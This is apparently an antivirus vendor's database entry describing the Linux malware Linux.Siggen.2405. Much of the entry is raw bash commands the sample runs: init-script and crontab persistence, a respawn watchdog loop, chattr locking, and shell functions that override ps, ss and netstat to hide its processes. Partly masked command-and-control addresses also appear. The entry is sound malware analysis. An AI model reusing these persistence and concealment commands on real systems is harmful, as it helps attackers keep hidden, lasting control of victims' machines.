マイライブラリ
マイライブラリ

+ マイライブラリに追加

電話

お問い合わせ履歴

電話(英語)

+7 (495) 789-45-86

Profile

Linux.Siggen.2405

Added to the Dr.Web virus database: 2020-03-01

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /etc/rc.d/init.d/linux.sh
  • /etc/init.d/linux.sh
  • /etc/profile.d/linux.sh
  • /etc/crontab
Creates or modifies the following symlinks:
  • /etc/rc0.d/linux.sh
  • /etc/rc1.d/linux.sh
  • /etc/rc2.d/linux.sh
  • /etc/rc3.d/linux.sh
  • /etc/rc4.d/linux.sh
  • /etc/rc5.d/linux.sh
  • /etc/rc6.d/linux.sh
Malicious functions:
Removes itself
Launches processes:
  • /usr/bin/getconf CLK_TCK
  • /bin/bash -c cp <SAMPLE_FULL_PATH> /boot/<SAMPLE>;rm -f <SAMPLE_FULL_PATH>;sleep 2;/usr/bin/nohup /boot/<SAMPLE> ] > /dev/null 2>&1 &
  • cp <SAMPLE_FULL_PATH> /boot/<SAMPLE>
  • rm -f <SAMPLE_FULL_PATH>
  • sleep 2
  • /usr/bin/nohup /boot/<SAMPLE> ]
  • /boot/<SAMPLE> ]
  • /bin/bash -c chattr +i /boot/<SAMPLE>
  • /bin/bash -c ln -s /etc/init.d/linux.sh /etc/rcS.d/linux.sh&
  • /bin/bash -c echo \"#!/bin/bash\" > /etc/profile.d/linux.sh
  • /bin/bash -c echo -e \"#!/bin/bash\nwhile [ 1 ]; do\nCentos_ssh_killn=\$(ps aux | grep \\"<SAMPLE>\\" | grep -v grep | wc -l)\n if [[ \$Centos_ssh_killn -eq 0 ]]; then\n if [ ! -f \\"/boot/<SAMPLE>\\" ]; then\n cp /usr/<SAMPLE> /boot/<SAMPLE>\n chmod 755 /boot/<SAMPLE>\n /usr/bin/nohup /boot/<SAMPLE> > /dev/null 2>&1 &\n else\n chmod 755 /boot/<SAMPLE>\n /usr/bin/nohup /boot/<SAMPLE> > /dev/null 2>&1 &\n fi\n fi\n sleep 30 > /dev/null 2>&1\ndone\" > /usr/32679
  • /bin/bash -c ln -s /etc/init.d/linux.sh /etc/rc0.d/linux.sh&
  • /bin/bash -c ln -s /etc/rc.d/init.d/linux.sh /etc/rc.d/rc1.d/linux.sh&
  • /bin/bash -c ln -s /etc/init.d/linux.sh /etc/rc1.d/linux.sh&
  • /bin/bash -c ln -s /etc/rc.d/init.d/linux.sh /etc/rc.d/rc2.d/linux.sh&
  • /bin/bash -c ln -s /etc/init.d/linux.sh /etc/rc2.d/linux.sh&
  • /bin/bash -c ln -s /etc/rc.d/init.d/linux.sh /etc/rc.d/rc3.d/linux.sh&
  • /bin/bash -c ln -s /etc/init.d/linux.sh /etc/rc3.d/linux.sh&
  • /bin/bash -c ln -s /etc/rc.d/init.d/linux.sh /etc/rc.d/rc4.d/linux.sh&
  • chattr +i /boot/<SAMPLE>
  • /bin/bash -c ln -s /etc/init.d/linux.sh /etc/rc4.d/linux.sh&
  • /bin/bash -c ln -s /etc/rc.d/init.d/linux.sh /etc/rc.d/rc5.d/linux.sh&
  • /bin/bash -c ln -s /etc/init.d/linux.sh /etc/rc5.d/linux.sh&
  • ln -s /etc/init.d/linux.sh /etc/rcS.d/linux.sh
  • /bin/bash -c ln -s /etc/rc.d/init.d/linux.sh /etc/rc.d/rc6.d/linux.sh&
  • /bin/bash -c ln -s /etc/init.d/linux.sh /etc/rc6.d/linux.sh&
  • ln -s /etc/init.d/linux.sh /etc/rc0.d/linux.sh
  • ln -s /etc/rc.d/init.d/linux.sh /etc/rc.d/rc1.d/linux.sh
  • ln -s /etc/init.d/linux.sh /etc/rc1.d/linux.sh
  • ln -s /etc/rc.d/init.d/linux.sh /etc/rc.d/rc2.d/linux.sh
  • ln -s /etc/init.d/linux.sh /etc/rc2.d/linux.sh
  • ln -s /etc/init.d/linux.sh /etc/rc3.d/linux.sh
  • ln -s /etc/rc.d/init.d/linux.sh /etc/rc.d/rc3.d/linux.sh
  • /bin/bash -c ln -s /etc/rc.d/init.d/linux.sh /etc/rc.d/rc0.d/linux.sh&
  • ln -s /etc/rc.d/init.d/linux.sh /etc/rc.d/rc4.d/linux.sh
  • ln -s /etc/init.d/linux.sh /etc/rc4.d/linux.sh
  • ln -s /etc/rc.d/init.d/linux.sh /etc/rc.d/rc5.d/linux.sh
  • ln -s /etc/init.d/linux.sh /etc/rc5.d/linux.sh
  • ln -s /etc/rc.d/init.d/linux.sh /etc/rc.d/rc6.d/linux.sh
  • ln -s /etc/init.d/linux.sh /etc/rc6.d/linux.sh
  • /bin/bash -c chmod 0755 /usr/32679;/usr/bin/nohup /usr/32679 > /dev/null 2>&1 &
  • ln -s /etc/rc.d/init.d/linux.sh /etc/rc.d/rc0.d/linux.sh
  • /bin/bash -c echo -e \"\nfunction ps { proc_name=\$(/bin/ps \$@);proc_name=\$(echo \\"\$proc_name\\" | sed -e '/<SAMPLE>/d');proc_name=\$(echo \\"\$proc_name\\" | sed -e '/linux.sh/d');proc_name=\$(echo \\"\$proc_name\\" | sed -e '/32679/d');proc_name=\$(echo \\"\$proc_name\\" | sed -e '/65531/d');proc_name=\$(echo \\"\$proc_name\\" | sed -e '/.conf/d');proc_name=\$(echo \\"\$proc_name\\" | sed -e '/sleep/d');echo \\"\$proc_name\\"; }\" >> /etc/profile.d/linux.sh
  • chmod 0755 /usr/32679
  • /bin/bash -c echo \"* * * * * root /usr/bin/nohup /.conf > /dev/null 2>&1 &\" >> /etc/crontab
  • /usr/bin/nohup /usr/32679
  • /usr/32679
  • /bin/bash -c cp /boot/<SAMPLE> /<SAMPLE>
  • /bin/bash -c echo -e \"\nfunction ss { proc_name=\$(/bin/ss \$@);proc_name=\$(echo \\"\$proc_name\\" | sed -e '/<SAMPLE>/d');proc_name=\$(echo \\"\$proc_name\\" | sed -e '/linux.sh/d');proc_name=\$(echo \\"\$proc_name\\" | sed -e '/32679/d');proc_name=\$(echo \\"\$proc_name\\" | sed -e '/65531/d');proc_name=\$(echo \\"\$proc_name\\" | sed -e '/.conf/d');proc_name=\$(echo \\"\$proc_name\\" | sed -e '/sleep/d');echo \\"\$proc_name\\"; }\" >> /etc/profile.d/linux.sh
  • cp /boot/<SAMPLE> /<SAMPLE>
  • grep <SAMPLE>
  • ps aux
  • /bin/bash -c echo -e \"\nfunction netstat { proc_name=\$(/bin/netstat \$@);proc_name=\$(echo \\"\$proc_name\\" | sed -e '/<SAMPLE>/d');proc_name=\$(echo \\"\$proc_name\\" | sed -e '/linux.sh/d');proc_name=\$(echo \\"\$proc_name\\" | sed -e '/32679/d');proc_name=\$(echo \\"\$proc_name\\" | sed -e '/65531/d');proc_name=\$(echo \\"\$proc_name\\" | sed -e '/.conf/d');proc_name=\$(echo \\"\$proc_name\\" | sed -e '/sleep/d');echo \\"\$proc_name\\"; }\" >> /etc/profile.d/linux.sh
  • wc -l
  • grep -v grep
  • /bin/bash -c chmod 0755 /.conf
  • chmod 0755 /.conf
  • sleep 30
Kills the following processes:
  • <SAMPLE>
  • /boot/<SAMPLE>
Performs operations with the file system:
Modifies file access rights:
  • /usr/32679
  • /.conf
Creates symlinks:
  • /etc/rcS.d/linux.sh
Creates or modifies files:
  • /boot/<SAMPLE>
  • /etc/.conf
  • /usr/32679
  • /<SAMPLE>
Locks files:
  • /etc/.conf
Network activity:
Establishes connection:
  • 1.#.4.8:53
  • 45.###.10.153:65531
DNS ASK:
  • as.##iqingde.cn
Other:
Collects CPU information
Collects RAM information
Collects information about network activity

Curing recommendations


Linux

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Free trial

One month (no registration) or three months (registration and renewal discount)

Download Dr.Web

Download by serial number